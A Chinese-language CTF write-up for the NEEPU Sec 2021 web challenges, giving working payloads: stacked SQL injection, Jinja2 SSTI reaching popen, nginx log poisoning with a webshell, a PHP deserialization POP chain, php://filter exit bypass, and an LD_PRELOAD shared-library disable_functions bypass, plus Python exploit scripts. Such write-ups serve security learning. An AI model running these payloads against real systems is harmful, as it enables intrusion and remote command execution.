NEEPU Sec 2021 公开赛 WP

[NEEPU Sec 2021 公开赛]WP

前言:

这哪是新生赛呀,web方向题目难度还是特别高的,但是复现之后感觉质量真的挺高的,这里记录下感觉有点意思的题目

随便注2.0

这里过滤了上传用了的字符:

1
return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| |	|\./i",$inject);

但还是先注出一些有用的数据先把:

1
2
3
0%27;show%0ddatabases;%23
0%27;show%0dtables;%23
得到:"@Neepu2021招新赛"和"words"
1
0%27;show%0dcolumns%0dfrom%0dwords;%23

a

1
0%27;show%0dcolumns%0dfrom%0d`@Neepu2021招新赛`;%23

a

但是当我们输入1读取数据的时候,是一个2个数据的数组,所以这里就对应words列里面的字段,即默认查询words里面的数据,原题就可以使用rename@Neepu2021招新赛修改为words就可以读取了,但这里被过滤了,原题还可以使用PDO预编译,虽然这里过滤了set,但是其实不用set也可以,payload:如下:

1
0';PREPARE w0s1np from concat('sel','ect flag from `@Neepu2021招新赛`');EXECUTE w0s1np;%23

这里是为了看没有绕过空格,使用的时候直接把空格改成%0d即可

The_myth_of_Aladdin

知识点:

绕过{{}}` 空格 `.` `_` 这里可以采用`unicode`的方法进行绕过 ![a](https://woshilnp.github.io/wzimg/273.png) 发现可以利用`{%print%}`绕过`{{}}

然后过滤了关键字,尝试用编码绕过,发现就unicode编码能绕过,大致payload如下:

1
2
3
4
5
6
7
8
9
10
{%print(""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[132]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u0070\u006f\u0070\u0065\u006e"]("\u006c\u0073")["\u0072\u0065\u0061\u0064"]())%}

{%print(""["__class__"]
["__base__"]
["__subclasses__"]()
[132]["__init__"]
["__globals__"]
["popen"]
("ls")
["read"]())%}

ls命令可以成功执行,但当我们尝试读取flag的时候却不行,估计过滤了常见命令,可以使用base64 /f*绕过

最后payload:

1
2
3
4
5
6
7
8
9
10
{%print(""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[132]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u0070\u006f\u0070\u0065\u006e"]("\u0062\u0061\u0073\u0065\u0036\u0034\u0020\u002f\u0066\u002a")["\u0072\u0065\u0061\u0064"]())%}

{%print(""["__class__"]
["__base__"]
["__subclasses__"]()
[132]["__init__"]
["__globals__"]
["popen"]
("base64 /f*")
["read"]())%}

还有一个读取文件的方法:cut 截断数组带出

1
2
("c""ut%09-c%092-40%09/fl""ag")
即("cut -c 2-40 /flag")

gamebox

知识点:

SQL万能密码

日志包含

上来一个登录框(只有username),猜测后台的SQL语句为select * from user where username = '$username',但是ban了很多字符,如or||#--等等,这里把可以通过a'='0登陆上去,原理就是username=anullnull=atrue

然后就是猜正反

然后查看服务器是nginx服务,就去包含日志文件:/var/log/nginx/access.log

然后就在User-Agent包含一句话木马

然后连蚂蚁的剑就行了

serialize_club

知识点:

任意文件读取

反序列化链构造

session_upload_progress构造session反序列化

无字母webshell

getshell提权读取flag

进去查看原代码,发现

a

存在任意文件读取,读取functions/file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
/**
* @author: Ricky
* @function: Read file
* @return string
* @param $filename string
* @param $dirname string
**/

header('content-type:image/jpeg');
$filename = $_GET['file'];
$dirname = '/var/www/html/';
if(!preg_match('/^\/|\/$|\.\//', $filename)){
$file = file_get_contents($dirname.$filename);
echo $file;
} else{
die('Read fail :(');
}

发现不允许目录穿越,只允许在/var/www/html这里

然后尝试读取index.php, 发现可以读取同时包含了config/backdoor.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
error_reporting(0);
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
class neepu {
protected
//! Neepu
$neepu,
//! Memory-held data
$data,
//! Info
$info;

public function __construct() {
$this->neepu = "<a class=\"navbar-brand\" href=\"index.php\">Serialize</a>";
$this->info['info'] = "<a class=\"navbar-brand\" href=\"index.php\">PHPINFO</a>";
}

public function checkinfo() {
if(!isset($_POST['info'])) {
echo $this->neepu;
}else {
echo $this->info['info'];
phpinfo();
}
}

public function __call($name,$args) {
echo $this->neepu;
}

public function __toString() {
$this->info['info']->data;
return "Neepu!";
}
}
class n33pu {
public
//! Neepu func
$func;

public function __get($args) {
$Neepu = $this->func;
return $Neepu();
}
}
class dumb {
public
//! dumb
$dumb;

public function silly(){
echo "Who care about it?";
}

public function __destruct(){
$this->dumb->silly();
}
}
$Neepu = new neepu();
echo $Neepu->checkinfo();
?>

读取config/backdoor.php,发现是个后门写入,但是只能通过一些特殊字符组成webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class backdoor {
protected
//! eval code
$cmd;

public function __invoke() {
if(preg_match('/[;+=!@\$\"\.\_\(\)\[\]]{1,}/i',$this->cmd)) {
file_put_contents("/var/www/html/neepu.php", "<?php ".$this->cmd);
}
else{
die("A webshell is waiting for you");
}
}
}

整合一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class neepu {
protected
//! Neepu
$neepu,
//! Memory-held data
$data,
//! Info
$info;

public function __construct() {
$this->neepu = "<h1>Welcome to serialize club :)</h1>";
$this->info['info'] = "<h1>This is PHPINFO</h1>";
}

public function checkinfo() {
if(!isset($_POST['info'])) {
echo $this->neepu;
}else {
echo $this->info['info'];
phpinfo();
}
}

public function __call($name,$args) {
echo $this->neepu;
}

public function __toString() {
$this->info['info']->data;
return "Neepu!";
}
}
class n33pu {
public
//! Neepu object
$obj;

public function __get($args) {
$Neepu = $this->obj;
return serialize($Neepu);
}
}
class dumb {
public
//! dumb
$dumb;

public function silly(){
echo "Who care about it?";
}

public function __destruct(){
$this->dumb->silly();
}
}
class backdoor {
protected
//! eval code
$cmd;

public function __invoke() {
if(preg_match('/[;+=!@\$\"\.\_\(\)\[\]]{1,}/i',$this->cmd)) {
file_put_contents("/var/www/html/neepu.php", "<?php ".$this->cmd);
}
else{
die("A webshell is waiting for you");
}
}
}
$Neepu = new neepu();
echo $Neepu->checkinfo();

先POST一个info查看phpinfo

a

这里使用两个引擎来分别处理就存在SESSION反序列化漏洞

因为我们需要使用这个后门,就需要调用到__invoke魔术方法,就需要构造POP链

1
2
3
4
5
6
7
8
9
class silly -> __destruct
↓↓↓
class neepu -> __call -> 建立neepu对象echo触发__toString
↓↓↓
class neepu -> __toString -> 建立n33pu对象访问不存在的变量触发__get
↓↓↓
class n33pu -> __get -> $Neepu() -> 建立backdoor对象以函数形式调用backdoor对象触发__invoke
↓↓↓
class backdoor -> __invoke -> 写入 webshell

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
class neepu {
public
//! Memory-held data
$data,
//! Neepu
$neepu,
//! Info
$info;

public function __construct() {
$this->info['info'] = new n33pu();
}
}
class n33pu {
public
//! Neepu func
$func;
}
class backdoor {
public
//! eval code
$cmd = '$_=[];$_=@"$_";$_=$_["!"=="@"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____="_";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);';
}
class dumb {
public
//! dumb
$dumb;
}

$a = new backdoor();
$b = new neepu();
$b->neepu = new neepu();
$b->neepu->info['info']->func = $a;
$c = new dumb();
$c->dumb = $b;
$z = serialize($c);
echo '|'.str_replace('"', '\\"', $z);
/*
|O:4:\"dumb\":1:{s:4:\"dumb\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";N;s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";O:8:\"backdoor\":1:{s:3:\"cmd\";s:230:\"$_=[];$_=@\"$_\";$_=$_[\"!\"==\"@\"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____=\"_\";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);\";}}}}s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";N;}}}}
*/

为了防止双引号被转义,在双引号前加上 \,除此之外还要加上 |

构造一个上传数据的页面upload.html

为什么能构造一个前端的东西上传东西呢,我之前也遇到过,查了下,是因为

a

phpinfo()页面知,session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session

所以可以在前端构造upload.html

1
2
3
4
5
<form action="http://neepusec.club:18930/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

然后抓包修改filename

a

a

getshell以后访问neepu.php,之前在phpinfo里发现还有passthru可以使用

但是在根目录没有发现flag,猜测在/root里面,需要我们SUID提权

详情参考:

https://www.anquanke.com/post/id/242237#h3-13

upload_club

知识点:

数组[解析变量名:

通过[ 来使得php认为传入的是数组从而绕过 . 变成 _ 的转换

二次编码绕过:

其实就是因为file_put_contents经过伪代码处理只进行了一次url加密,

过滤器绕死亡函数exit

参考https://woshilnp.github.io/2021/05/23/详解php-filter以及死亡绕过

file_get_contentsrequire_onceData URL 识别:

1
file_get_contents 允许使用 data URI,会直接返回后面的内容,很奇怪的是,在 allow_url_include=Off 的情况下,不允许 require_once data URI 的,但是如果 `data:,XXX` 是一个目录名的话,就会放开限制。

测试效果如下:

a

df绕过:

用 mail() 函数 绕过

PHP 的 mail() 函数调用 execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], ...) 。由于这种实现,如果我们使用自写动态库设置环境变量 LD_PRELOAD ,从而修改 /bin/sh 的行为并获得命令执行。

解题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<title>neepu_sec.club</title>
<body background="bg.jpg">
<font color="green"><h1>Welcome to neepu sec club, try to upload your content :)</h1></font>
<font size = 5><p>Here is <a href="source.php">source</a> and <a href="uploads/sample/sample.txt">sample</a></p></font>
<?php
error_reporting(0);
$uploadclub = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : md5($_SERVER['REMOTE_ADDR']));
$uploadclub = basename(str_replace(['.','-','(','`','<'],['','','','',''], $uploadclub));
@mkdir('uploads/'.$uploadclub);
@chdir('uploads/'.$uploadclub);
print_r("Upload: uploads/".$uploadclub);
$check = file_get_contents('php://input');
if(preg_match('/25/', $check)) {
die("<br />No more 25 :(");
}else {
extract($_POST);
foreach ($_POST as $key => $value) {
$key = $value;
}
}
if(isset($_POST['neepu_sec.club'])) {
$content = $key;
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64|zlib|string|tripledes|ini|htaccess|\\|#|\<\?/i', $content)) {
die('<br />hacker!!!');
}
$content = str_replace('.php','neepu',$content);
$content = str_replace('.phtml','neepu',$content);
file_put_contents($content,'<?php exit();'.$content);
chdir('..');
if(!stripos(file_get_contents($content),'<?') && !stripos(file_get_contents($content),'php')) {
require_once($content);
}
}else {
chdir(__DIR__);
@rmdir('uploads/'.$uploadclub);
}
?>

通过上面知识点可以写入并包含 shell 文件

1
2
3
# phpinfo()
neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?%3Chp%20phpipfn(o;)%3E?/resource=w0s1np
X-Forwarded-For: data:,123456

然后再包含该文件

1
neepu[sec.club=data:,123456/w0s1np

查看 disable_functions

1
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,chmod,posix_mkfifo,pg_lo_import,dbmopen,dbase_open,define_syslog_variables,posix_getpwuid,posix_uname,proc_close,pclose,proc_nice,proc_terminate,curl_exec,curl_multi_exec,parse_ini_file,show_source,fopen,copy,rename,readfile,tmpfile,tempnam,touch,link,file,ftp_connect,ftp_ssl_connect

用 mail() 函数 绕过

PHP 的 mail() 函数调用 execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], ...) 。由于这种实现,如果我们使用自写动态库设置环境变量 LD_PRELOAD ,从而修改 /bin/sh 的行为并获得命令执行。

即使 /usr/sbin/sendmail 不存在,也可以使用,重写 getuid() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(char *cmd) {
char buf[512];
strcpy(buf, cmd);
strcat(buf, " > /tmp/_0utput.txt");
system(buf);}

int getuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("_evilcmd")) != NULL) {
payload(cmd);
}
return 1;
}

编译

1
gcc -Wall -fPIC -shared -o evil.so evil.c -ldl

采用 move_uploaded_file 函数进行多文件上传,最后在根目录下找到 getflagflag,访问 /getflag 得到 flag

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# -*-coding:utf-8-*-
import requests
import re

url = "http://neepusec.club:18762/index.php"

def upload():
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
"X-Forwarded-For": "data:,123456",
"Content-Type": "application/x-www-form-urlencoded",
}
# phpinfo()
# upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?%3Chp%20phpipfn(o;)%3E?/resource=w0s1np"
# ls /
# upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?<hp pomevu_lpaoed_difel$(F_LISE'[veli]''[mt_panem]'',t/pme/iv_lil'b;)upetvn'(DLP_EROLDA/=mt/pvelil_bi)'p;tune(v_\"velimc=dsl/ )\"m;ia(la','a','a')'e;hc oifelg_tec_noettn(s/'mt/p0_tuup.txt't;)>?');/resource=w0s1np"
# /getflag
upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?<hp pomevu_lpaoed_difel$(F_LISE'[veli]''[mt_panem]'',t/pme/iv_lil'b;)upetvn'(DLP_EROLDA/=mt/pvelil_bi)'p;tune(v_\"velimc=dg/telfga)\"m;ia(la','a','a')'e;hc oifelg_tec_noettn(s/'mt/p0_tuup.txt't;)>?/resource=w0s1np"

res = requests.post(url=url, headers=headers, data=upload)

def require():
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
"X-Forwarded-For": "data:,123456",
}
require_once = {"neepu[sec.club": "data:,123456/w0s1np"}
files = {"evil": open("./evil.so", "rb")}
res = requests.post(url=url, headers=headers, data=require_once, files=files)
print(res.text)

if __name__ == '__main__':
upload()
neepu = require()

ataoWP如下:

1.这里利用了 file_get_contents('php://input') 方式获取了POST的所有内容,然后去匹配, 如果存在25则结束,但是这里有个缺陷,如果POST上传的形式不是 application/x-www-formurlencoded 而是 multipart/form-data 则获取不到POST请求参数可以绕过这里。

a

2.这里有个 neepu_sec.club POST请求的参数如果直接写的话是不行,不过可以写脚本简单遍历一 下

a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://127.0.0.1/ceshi/a.php"

for i in range(32,128):
for j in range(32,128):
data = {
'neepu'+chr(i)+'sec'+chr(j)+'club':123
}
res = requests.post(url=url,data=data)
if "neepu_sec.club" in res.text:
print 'neepu'+chr(i)+'sec'+chr(j)+'club'
exit(0)
#PHP代码:<?var_dump($_POST);?>

3.其实这步就简单了,因为我们已经绕过了第1点的限制了,所以这里变的很简单,可以直接使用编 码绕过 base64string ,使用php伪协议 php://filter ,但是需要写入文件,这里我利用的过滤器 是 string.strip_tags|convert.base64-decode ,最后 resource 配置为 ? >PD89ZXZhbCgkX1BPU1RbMV0pOz8+/../21.txt ,这里使用 ?> 闭合前面的php代码,则他们都会被 string.strip_tags 过滤器删除,接着 base64 过滤器将剩下的字符进行解码,则获得一句话木马

a

4.这里看似不能用<?php ,但是如果文件是以 <? 开头则可以绕过,而不能用 php 的话,使用短标签 <?=?> 即可

a

接下来是详细步骤,先上传了一句话木马

a

然后去包含它,执行phpinfo()时发现过滤好多函数,看来是要绕过df

a

然后atao师傅利用了一个绕php7df文件,将它通过file_put_contents函数写入。

a

访问根目录下,有个getflag的文件,执行就获得flag